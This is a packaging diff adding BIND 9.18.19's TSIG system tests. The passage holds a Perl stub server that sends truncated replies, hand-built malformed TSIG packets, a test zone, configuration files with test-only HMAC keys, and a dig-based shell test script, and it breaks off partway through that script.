diff options
| author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-07 15:59:48 +0000 |
|---|---|---|
| committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-07 15:59:48 +0000 |
| commit | 3b9b6d0b8e7f798023c9d109c490449d528fde80 (patch) | |
| tree | 2e1c188dd7b8d7475cd163de9ae02c428343669b /bin/tests/system/tsig | |
| parent | Initial commit. (diff) | |
| download | bind9-3b9b6d0b8e7f798023c9d109c490449d528fde80.tar.xz bind9-3b9b6d0b8e7f798023c9d109c490449d528fde80.zip | |
Adding upstream version 1:9.18.19.upstream/1%9.18.19
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to '')
33 files changed, 1543 insertions, 0 deletions
diff --git a/bin/tests/system/tsig/ans2/ans.pl b/bin/tests/system/tsig/ans2/ans.pl new file mode 100644 index 0000000..09ab29b --- /dev/null +++ b/bin/tests/system/tsig/ans2/ans.pl @@ -0,0 +1,52 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# +# An adhoc server that returns a TC=1 response with the final byte +# removed to generate UNEXPECTEDEND form dns_message_parse. +# + +use IO::File; +use IO::Socket; + +my $localport = int($ENV{'PORT'}); +if (!$localport) { $localport = 5300; } +printf "localport %u\n", $localport; + +my $sock = IO::Socket::INET->new(LocalAddr => "10.53.0.2", + LocalPort => $localport, Proto => "udp") or die "$!"; + +my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; +print $pidf "$$\n" or die "cannot write pid file: $!"; +$pidf->close or die "cannot close pid file: $!"; +sub rmpid { unlink "ans.pid"; exit 1; }; + +$SIG{INT} = \&rmpid; +$SIG{TERM} = \&rmpid; + +sub arraystring { + my $string = join("", @_); + return $string; +} + +for (;;) { + $from = $sock->recv($buf, 512); + ($port, $ip_address) = unpack_sockaddr_in($from); + $l = length($buf); + printf "received %u bytes from %s#%u\n", $l, inet_ntoa($ip_address), $port; + @up = unpack("C[$l]", $buf); + $up[2] |= 0x80; # QR + $up[2] |= 0x02; # TC + $up[3] |= 0x80; # RA + $l -= 1; # truncate the response 1 byte + $replydata = pack("C[$l]", @up); + printf "sent %u bytes\n", $sock->send($replydata); +} diff --git a/bin/tests/system/tsig/badlocation b/bin/tests/system/tsig/badlocation new file mode 100644 index 0000000..4477423 --- /dev/null +++ b/bin/tests/system/tsig/badlocation @@ -0,0 +1,37 @@ +# Transaction ID +1122 +# Standard query +0000 +# Questions: 1, Additional: 1 +0001 0000 0001 0000 +# QNAME: isc.org +03 69 73 63 03 6F 72 67 00 +# Type: A (Host Address) +0001 +# Class: IN +0001 +# Specially crafted TSIG Resource Record +# Name: "sha256" +06 73 68 61 32 35 36 00 +# Type: TSIG (Transaction Signature) +00fa +# Class: ANY +00ff +# TTL: 0 +00000000 +# RdLen: 29 +001d +# Algorithm Name: hmac-sha256 +0b 68 6D 61 63 2D 73 68 61 32 35 36 00 +# Time Signed: Jan 1, 1970 01:00:00.000000000 CET +00 00 00 00 00 00 +# Fudge: 300 +012c +# MAC Size: 0; MAC: empty +0000 +# Original ID: 0 +0000 +# Error: no error +0000 +# Other Data Length: 0 +0000 diff --git a/bin/tests/system/tsig/badtime b/bin/tests/system/tsig/badtime new file mode 100644 index 0000000..7926404 --- /dev/null +++ b/bin/tests/system/tsig/badtime @@ -0,0 +1,37 @@ +# Transaction ID +1122 +# Standard query +0000 +# Questions: 1, Additional: 1 +0001 0000 0000 0001 +# QNAME: isc.org +03 69 73 63 03 6F 72 67 00 +# Type: A (Host Address) +0001 +# Class: IN +0001 +# Specially crafted TSIG Resource Record +# Name: "sha256" +06 73 68 61 32 35 36 00 +# Type: TSIG (Transaction Signature) +00fa +# Class: ANY +00ff +# TTL: 0 +00000000 +# RdLen: 29 +001d +# Algorithm Name: hmac-sha256 +0b 68 6D 61 63 2D 73 68 61 32 35 36 00 +# Time Signed: Jan 1, 1970 01:00:00.000000000 CET +00 00 00 00 00 00 +# Fudge: 300 +012c +# MAC Size: 0; MAC: empty +0000 +# Original ID: 0 +0000 +# Error: BADSIG +0010 +# Other Data Length: 0 +0000 diff --git a/bin/tests/system/tsig/clean.sh b/bin/tests/system/tsig/clean.sh new file mode 100644 index 0000000..b173ffe --- /dev/null +++ b/bin/tests/system/tsig/clean.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# +# Clean up after tsig tests. +# + +rm -f dig.out.* +rm -f */named.memstats +rm -f */named.conf +rm -f */named.run +rm -f ns*/named.lock +rm -f Kexample.net.* +rm -f keygen.out? +rm -f ns*/managed-keys.bind* +rm -f packet.out diff --git a/bin/tests/system/tsig/ns1/example.db b/bin/tests/system/tsig/ns1/example.db new file mode 100644 index 0000000..7854613 --- /dev/null +++ b/bin/tests/system/tsig/ns1/example.db @@ -0,0 +1,163 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$ORIGIN . +$TTL 300 ; 5 minutes +example.nil IN SOA ns1.example.nil. hostmaster.example.nil. ( + 1 ; serial + 2000 ; refresh (2000 seconds) + 2000 ; retry (2000 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +example.nil. NS ns1.example.nil. +ns1.example.nil. A 10.53.0.1 +example.nil. NS ns2.example.nil. +ns2.example.nil. A 10.53.0.2 + +$ORIGIN example.nil. +* MX 10 mail +a TXT "foo foo foo" + PTR foo.net. +$TTL 3600 ; 1 hour +a01 A 0.0.0.0 +a02 A 255.255.255.255 +a601 AAAA ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +afsdb01 AFSDB 0 hostname +afsdb02 AFSDB 65535 . +$TTL 300 ; 5 minutes +b CNAME foo.net. +c A 73.80.65.49 +$TTL 3600 ; 1 hour +cert01 CERT 65534 65535 PRIVATEOID ( + MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgi + WCn/GxHhai6VAuHAoNUz4YoU1tVfSCSqQYn6//11U6Nl + d80jEeC8aTrO+KKmCaY= ) +cname01 CNAME cname-target. +cname02 CNAME cname-target +cname03 CNAME . +$TTL 300 ; 5 minutes +d A 73.80.65.49 +$TTL 3600 ; 1 hour +dname01 DNAME dname-target. +dname02 DNAME dname-target +dname03 DNAME . +$TTL 300 ; 5 minutes +e MX 10 mail + TXT "one" + TXT "three" + TXT "two" + A 73.80.65.49 + A 73.80.65.50 + A 73.80.65.52 + A 73.80.65.51 +f A 73.80.65.52 +$TTL 3600 ; 1 hour +gpos01 GPOS "-22.6882" "116.8652" "250.0" +gpos02 GPOS "" "" "" +hinfo01 HINFO "Generic PC clone" "NetBSD-1.4" +hinfo02 HINFO "PC" "NetBSD" +isdn01 ISDN "isdn-address" +isdn02 ISDN "isdn-address" "subaddress" +isdn03 ISDN "isdn-address" +isdn04 ISDN "isdn-address" "subaddress" +key01 KEY 512 255 1 ( + AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aR + yzWZriO6i2odGWWQVucZqKVsENW91IOW4vqudngPZsY3 + GvQ/xVA8/7pyFj6b7Esga60zyGW6LFe9r8n6paHrlG5o + jqf0BaqHT+8= ) +kx01 KX 10 kdc +kx02 KX 10 . +loc01 LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m +loc02 LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m +mb01 MG madname +mb02 MG . +mg01 MG mgmname +mg02 MG . +minfo01 MINFO rmailbx emailbx +minfo02 MINFO . . +mr01 MR mrname +mr02 MR . +mx01 MX 10 mail +mx02 MX 10 . +naptr01 NAPTR 0 0 "" "" "" . +naptr02 NAPTR 65535 65535 "blurgh" "blorf" ":(.*):\\1:" foo. +nsap-ptr01 NSAP-PTR foo. + NSAP-PTR . +nsap01 NSAP 0x47000580005a0000000001e133ffffff00016100 +nsap02 NSAP 0x47000580005a0000000001e133ffffff00016100 +nxt01 NXT a.secure ( NS SOA MX SIG KEY LOC NXT ) +nxt02 NXT . ( NSAP-PTR NXT ) +nxt03 NXT . ( A ) +nxt04 NXT . ( 127 ) +ptr01 PTR example.nil. +px01 PX 65535 foo. bar. +px02 PX 65535 . . +rp01 RP mbox-dname txt-dname +rp02 RP . . +rt01 RT 0 intermediate-host +rt02 RT 65535 . +$TTL 300 ; 5 minutes +s NS ns.s +$ORIGIN s.example.nil. +ns A 73.80.65.49 +$ORIGIN example.nil. +$TTL 3600 ; 1 hour +sig01 SIG NXT 1 3 3600 20000102030405 ( + 19961211100908 2143 foo + MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgi + WCn/GxHhai6VAuHAoNUz4YoU1tVfSCSqQYn6//11U6Nl + d80jEeC8aTrO+KKmCaY= ) +srv01 SRV 0 0 0 . +srv02 SRV 65535 65535 65535 old-slow-box.example.com. +$TTL 301 ; 5 minutes 1 second +t A 73.80.65.49 +$TTL 3600 ; 1 hour +txt01 TXT "foo" +txt02 TXT "foo" "bar" +txt03 TXT "foo" +txt04 TXT "foo" "bar" +txt05 TXT "foo bar" +txt06 TXT "foo bar" +txt07 TXT "foo bar" +txt08 TXT "foo\010bar" +txt09 TXT "foo\010bar" +txt10 TXT "foo bar" +txt11 TXT "\"foo\"" +txt12 TXT "\"foo\"" +$TTL 300 ; 5 minutes +u TXT "txt-not-in-nxt" +$ORIGIN u.example.nil. +a A 73.80.65.49 +b A 73.80.65.49 +$ORIGIN example.nil. +$TTL 3600 ; 1 hour +wks01 WKS 10.0.0.1 6 ( 0 1 2 21 23 ) +wks02 WKS 10.0.0.1 17 ( 0 1 2 53 ) +wks03 WKS 10.0.0.2 6 ( 65535 ) +x2501 X25 "123456789" +large TXT ( 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 + 1234567890 1234567890 1234567890 1234567890 ) diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.key b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.key new file mode 100644 index 0000000..37ee8ae --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.key @@ -0,0 +1 @@ +hmac-md5-legacy. IN KEY 0 3 157 B7HCXJs0XnSPzypG5oHuGw== diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.private b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.private new file mode 100644 index 0000000..8b2f435 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.private @@ -0,0 +1,7 @@ +Private-key-format: v1.3 +Algorithm: 157 (HMAC_MD5) +Key: B7HCXJs0XnSPzypG5oHuGw== +Bits: AAA= +Created: 20230619071002 +Publish: 20230619071002 +Activate: 20230619071002 diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.key new file mode 100644 index 0000000..bd1445d --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.key @@ -0,0 +1 @@ +hmac-sha1-legacy. IN KEY 0 3 161 TxGx9XBp6Pp5yYAOKXdERA== diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.private new file mode 100644 index 0000000..fe3d7ec --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.private @@ -0,0 +1,7 @@ +Private-key-format: v1.3 +Algorithm: 161 (HMAC_SHA1) +Key: TxGx9XBp6Pp5yYAOKXdERA== +Bits: AAA= +Created: 20230619071031 +Publish: 20230619071031 +Activate: 20230619071031 diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.key new file mode 100644 index 0000000..c849be9 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.key @@ -0,0 +1 @@ +hmac-sha224-legacy. IN KEY 0 3 162 H8Hyw718rLqToQFRLAeFWQ== diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.private new file mode 100644 index 0000000..a2f31ec --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.private @@ -0,0 +1,7 @@ +Private-key-format: v1.3 +Algorithm: 162 (HMAC_SHA224) +Key: H8Hyw718rLqToQFRLAeFWQ== +Bits: AAA= +Created: 20230619071136 +Publish: 20230619071136 +Activate: 20230619071136 diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.key new file mode 100644 index 0000000..1bbb6f0 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.key @@ -0,0 +1 @@ +hmac-sha256-legacy. IN KEY 0 3 163 fdT9hiPov4ThMEfRv1FNmA== diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.private new file mode 100644 index 0000000..0b209c6 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.private @@ -0,0 +1,7 @@ +Private-key-format: v1.3 +Algorithm: 163 (HMAC_SHA256) +Key: fdT9hiPov4ThMEfRv1FNmA== +Bits: AAA= +Created: 20230619071043 +Publish: 20230619071043 +Activate: 20230619071043 diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.key new file mode 100644 index 0000000..46fae39 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.key @@ -0,0 +1 @@ +hmac-sha384-legacy. IN KEY 0 3 164 fnshFIjQTLFap6+j2JGBkA== diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.private new file mode 100644 index 0000000..be5aa12 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.private @@ -0,0 +1,7 @@ +Private-key-format: v1.3 +Algorithm: 164 (HMAC_SHA384) +Key: fnshFIjQTLFap6+j2JGBkA== +Bits: AAA= +Created: 20230619071109 +Publish: 20230619071109 +Activate: 20230619071109 diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.key new file mode 100644 index 0000000..0defc84 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.key @@ -0,0 +1 @@ +hmac-sha512-legacy. IN KEY 0 3 165 BZwNLICp2tj4hi6gil41eg== diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.private new file mode 100644 index 0000000..21268e5 --- /dev/null +++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.private @@ -0,0 +1,7 @@ +Private-key-format: v1.3 +Algorithm: 165 (HMAC_SHA512) +Key: BZwNLICp2tj4hi6gil41eg== +Bits: AAA= +Created: 20230619071124 +Publish: 20230619071124 +Activate: 20230619071124 diff --git a/bin/tests/system/tsig/ns1/named.conf.in b/bin/tests/system/tsig/ns1/named.conf.in new file mode 100644 index 0000000..de16ccf --- /dev/null +++ b/bin/tests/system/tsig/ns1/named.conf.in @@ -0,0 +1,120 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + recursion yes; + notify no; +}; + +# md5 key appended by setup.sh at the end + +key "sha1" { + secret "FrSt77yPTFx6hTs4i2tKLB9LmE0="; + algorithm hmac-sha1; +}; + +key "sha224" { + secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA=="; + algorithm hmac-sha224; +}; + +key "sha256" { + secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY="; + algorithm hmac-sha256; +}; + +key "sha384" { + secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h"; + algorithm hmac-sha384; +}; + +key "sha512" { + secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg=="; + algorithm hmac-sha512; +}; + +# hmac-md5-legacy key appended by setup.sh at the end + +key "hmac-sha1-legacy" { + algorithm "hmac-sha1"; + secret "TxGx9XBp6Pp5yYAOKXdERA=="; +}; + +key "hmac-sha224-legacy" { + algorithm "hmac-sha224"; + secret "H8Hyw718rLqToQFRLAeFWQ=="; +}; + +key "hmac-sha256-legacy" { + algorithm "hmac-sha256"; + secret "fdT9hiPov4ThMEfRv1FNmA=="; +}; + +key "hmac-sha384-legacy" { + algorithm "hmac-sha384"; + secret "fnshFIjQTLFap6+j2JGBkA=="; +}; + +key "hmac-sha512-legacy" { + algorithm "hmac-sha512"; + secret "BZwNLICp2tj4hi6gil41eg=="; +}; + +# md5-trunc key appended by setup.sh at the end + +key "sha1-trunc" { + secret "FrSt77yPTFx6hTs4i2tKLB9LmE0="; + algorithm hmac-sha1-80; +}; + +key "sha224-trunc" { + secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA=="; + algorithm hmac-sha224-112; +}; + +key "sha256-trunc" { + secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY="; + algorithm hmac-sha256-128; +}; + +key "sha384-trunc" { + secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h"; + algorithm hmac-sha384-192; +}; + +key "sha512-trunc" { + secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg=="; + algorithm hmac-sha512-256; +}; + +zone "example.nil" { + type primary; + file "example.db"; +}; + +server 10.53.0.2 { + keys sha256; +}; + +zone "bad-tsig" { + type forward; + forwarders { 10.53.0.2; }; + forward only; +}; diff --git a/bin/tests/system/tsig/setup.sh b/bin/tests/system/tsig/setup.sh new file mode 100644 index 0000000..d8dbbe3 --- /dev/null +++ b/bin/tests/system/tsig/setup.sh @@ -0,0 +1,39 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +. ../conf.sh + +$SHELL clean.sh + +copy_setports ns1/named.conf.in ns1/named.conf + +if $FEATURETEST --md5 +then + cat >> ns1/named.conf << EOF +# Conditionally included when support for MD5 is available +key "md5" { + secret "97rnFx24Tfna4mHPfgnerA=="; + algorithm hmac-md5; +}; + +key "hmac-md5-legacy" { + algorithm "hmac-md5"; + secret "B7HCXJs0XnSPzypG5oHuGw=="; +}; + +key "md5-trunc" { + secret "97rnFx24Tfna4mHPfgnerA=="; + algorithm hmac-md5-80; +}; +EOF +fi diff --git a/bin/tests/system/tsig/tests.sh b/bin/tests/system/tsig/tests.sh new file mode 100644 index 0000000..68c5b6d --- /dev/null +++ b/bin/tests/system/tsig/tests.sh @@ -0,0 +1,322 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +set -e + +. ../conf.sh + +DIGOPTS="+tcp +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}" + +# +# Shared secrets. +# +md5="97rnFx24Tfna4mHPfgnerA==" +sha1="FrSt77yPTFx6hTs4i2tKLB9LmE0=" +sha224="hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==" +sha256="R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=" +sha384="OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h" +sha512="jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==" + +status=0 + +if $FEATURETEST --md5 +then + echo_i "fetching using hmac-md5 (old form)" + ret=0 + $DIG $DIGOPTS example.nil. -y "md5:$md5" @10.53.0.1 soa > dig.out.md5.old || ret=1 + grep -i "md5.*TSIG.*NOERROR" dig.out.md5.old > /dev/null || ret=1 + if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 + fi + + echo_i "fetching using hmac-md5 (new form)" + ret=0 + $DIG $DIGOPTS example.nil. -y "hmac-md5:md5:$md5" @10.53.0.1 soa > dig.out.md5.new || ret=1 + grep -i "md5.*TSIG.*NOERROR" dig.out.md5.new > /dev/null || ret=1 + if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 + fi +else + echo_i "skipping using hmac-md5" +fi + +echo_i "fetching using hmac-sha1" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha1:sha1:$sha1" @10.53.0.1 soa > dig.out.sha1 || ret=1 +grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha224" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha224:sha224:$sha224" @10.53.0.1 soa > dig.out.sha224 || ret=1 +grep -i "sha224.*TSIG.*NOERROR" dig.out.sha224 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha256" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha256:sha256:$sha256" @10.53.0.1 soa > dig.out.sha256 || ret=1 +grep -i "sha256.*TSIG.*NOERROR" dig.out.sha256 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha384" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha384:sha384:$sha384" @10.53.0.1 soa > dig.out.sha384 || ret=1 +grep -i "sha384.*TSIG.*NOERROR" dig.out.sha384 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha512" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha512:sha512:$sha512" @10.53.0.1 soa > dig.out.sha512 || ret=1 +grep -i "sha512.*TSIG.*NOERROR" dig.out.sha512 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +# +# +# Truncated TSIG +# +# +if $FEATURETEST --md5 +then + echo_i "fetching using hmac-md5 (trunc)" + ret=0 + $DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5-trunc:$md5" @10.53.0.1 soa > dig.out.md5.trunc || ret=1 + grep -i "md5-trunc.*TSIG.*NOERROR" dig.out.md5.trunc > /dev/null || ret=1 + if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 + fi +else + echo_i "skipping using hmac-md5 (trunc)" +fi + +echo_i "fetching using hmac-sha1 (trunc)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha1-80:sha1-trunc:$sha1" @10.53.0.1 soa > dig.out.sha1.trunc || ret=1 +grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1.trunc > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha224 (trunc)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha224-112:sha224-trunc:$sha224" @10.53.0.1 soa > dig.out.sha224.trunc || ret=1 +grep -i "sha224-trunc.*TSIG.*NOERROR" dig.out.sha224.trunc > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha256 (trunc)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha256-128:sha256-trunc:$sha256" @10.53.0.1 soa > dig.out.sha256.trunc || ret=1 +grep -i "sha256-trunc.*TSIG.*NOERROR" dig.out.sha256.trunc > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha384 (trunc)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha384-192:sha384-trunc:$sha384" @10.53.0.1 soa > dig.out.sha384.trunc || ret=1 +grep -i "sha384-trunc.*TSIG.*NOERROR" dig.out.sha384.trunc > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha512-256 (trunc)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha512-256:sha512-trunc:$sha512" @10.53.0.1 soa > dig.out.sha512.trunc || ret=1 +grep -i "sha512-trunc.*TSIG.*NOERROR" dig.out.sha512.trunc > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + + +# +# +# Check for bad truncation. +# +# +if $FEATURETEST --md5 +then + echo_i "fetching using hmac-md5-80 (BADTRUNC)" + ret=0 + $DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5:$md5" @10.53.0.1 soa > dig.out.md5-80 || ret=1 + grep -i "md5.*TSIG.*BADTRUNC" dig.out.md5-80 > /dev/null || ret=1 + if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 + fi +else + echo_i "skipping using hmac-md5-80 (BADTRUNC)" +fi + +echo_i "fetching using hmac-sha1-80 (BADTRUNC)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha1-80:sha1:$sha1" @10.53.0.1 soa > dig.out.sha1-80 || ret=1 +grep -i "sha1.*TSIG.*BADTRUNC" dig.out.sha1-80 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha224-112 (BADTRUNC)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha224-112:sha224:$sha224" @10.53.0.1 soa > dig.out.sha224-112 || ret=1 +grep -i "sha224.*TSIG.*BADTRUNC" dig.out.sha224-112 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha256-128 (BADTRUNC)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha256-128:sha256:$sha256" @10.53.0.1 soa > dig.out.sha256-128 || ret=1 +grep -i "sha256.*TSIG.*BADTRUNC" dig.out.sha256-128 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha384-192 (BADTRUNC)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha384-192:sha384:$sha384" @10.53.0.1 soa > dig.out.sha384-192 || ret=1 +grep 